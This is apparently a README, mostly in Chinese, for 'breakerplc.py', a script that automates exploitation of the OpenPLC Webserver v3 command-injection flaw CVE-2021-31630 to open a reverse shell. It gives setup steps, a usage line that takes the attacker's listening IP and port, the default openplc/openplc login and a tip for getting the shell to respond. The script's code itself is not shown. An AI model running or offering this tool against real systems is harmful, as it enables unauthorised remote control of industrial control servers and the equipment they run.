
This is a automation of cve-2021-31630 exploitation
本脚本可自动利用 OpenPLC Web Server v3 中的漏洞。
您将能够与服务器建立自动反向 Shell,无需使用手动技术。
CVE-2021-31630 详情
Open PLC Webserver v3 中的命令注入漏洞允许远程攻击者通过应用程序 "/hardware" 页面上的 "Hardware Layer Code Box" 组件执行任意代码。
该脚本经过定制,完成在 OpenPLC 中的注册后,会在同一终端生成机器的 Shell。
使用以下命令(建议创建 Python 虚拟环境安装依赖项) # 但是,breakerplc.py 脚本必须在虚拟环境外执行。
sudo apt update
pip3 install requests
如何使用?您可以使用以下命令行(如下)。
python breakerplc.py -lh <你的本地 IP> -lp 4444 <http://机器 IP:8080> -u openplc -p openplc
usage: python breakerplc.py [-h] [-u U] [-p P] [-t T] -lh LH -lp LP url
positional arguments:
url 目标 URL,格式为 http(s)://
options:
-h, --help 显示此帮助信息并退出
-u U 用户名
-p P 密码
-t T 请求超时时间,若服务器响应慢可增加
-lh LH LHOST
-lp LP LPORT

重要提示
连接后,您需要输入 "whoami" 或 "ls" 来打破代码行,使 Shell 返回。
